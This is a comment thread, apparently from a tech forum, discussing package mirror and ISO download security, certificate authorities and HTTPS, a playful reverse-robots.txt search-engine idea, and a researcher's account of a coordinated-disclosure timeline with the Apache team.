                                                                                      Furthermore Debian also provides ISO downloads over the same HTTP mirrors, which are also not automatically checked. While they can theoretically be checked with PGP signatures it is wishful thinking to assume everyone will do that.

                                                                                      Finally the chapter about CAs and TLS is - sorry - baseless fearmongering. Yeah, there are problems with CAs, but deducing from that that “HTTPS provides little-to-no protection against a targeted attack on your distribution’s mirror network” is, to put it mildly, nonsense. Compromising a CA is not trivial and due to CT it’s almost certain that such an attempt will be uncovered later. The CA ecosystem has improved a lot in recent years, please update your views accordingly.

                                                                                      1. 5

                                                                                        Furthermore Debian also provides ISO downloads over the same HTTP mirrors, which are also not automatically checked. While they can theoretically be checked with PGP signatures it is wishful thinking to assume everyone will do that.

                                                                                        Not really a full solution, but they do at least make the most prominent links for manually downloading an ISO point to an https site specifically for serving ISOs.

                                                                                      1. 4

                                                                                        The null hypothesis should be that the number of times most journal papers are read is 0.

                                                                                        1. 2

                                                                                          given that the number of authors on the paper is three I hope that the number is >= 3 at least.

                                                                                          1. 1

                                                                                            Yeah, I was implicitly assuming “after review”. Reading as a role rather than just an activity. The writers did note the possibility of security issues, after all.

                                                                                            The other source for my comment is my past experience writing papers. I’m not sure I would read those if I hadn’t written them.

                                                                                        1. 3

                                                                                          Related: I always had the idea that one could create a reverse-robots.txt-search engine (aka it indexes only stuff robots.txt tells it shouldn’t index). Not aware of anyone ever did it, but it probably would be interesting.

                                                                                          I’d expect that plenty of people mistakenly think robots.txt is a security mechanism.

                                                                                          1. 1

                                                                                            Unfortunately (DMCA, etc) I would assume this would likely be considered a criminal act, and Americans or US entities anywhere in the world may be found to be committing crimes by even linking to the results of such an engine.

                                                                                            It sure would be neat to see however, there apepar very few places it would be both ‘safe’ and stable enough to run such a site.

                                                                                          1. 6

                                                                                            Nice find, Hanno! Too bad coordination with the Apache folks didn’t work out. How come, though?

                                                                                            1. 3

                                                                                              I can only explain it as lack of communication.

                                                                                              I asked the apache team twice for a disclosure date and planned release. After that I set my own disclosure date, however with an offer that we could still agree on a coordinated disclosure, but only if they set a defined date, not for some undefined date in the future. That prompted a reply, but only that they now prepare a release, but still couldn’t define a date for it. So I went ahead, informed distros and one week later made it public.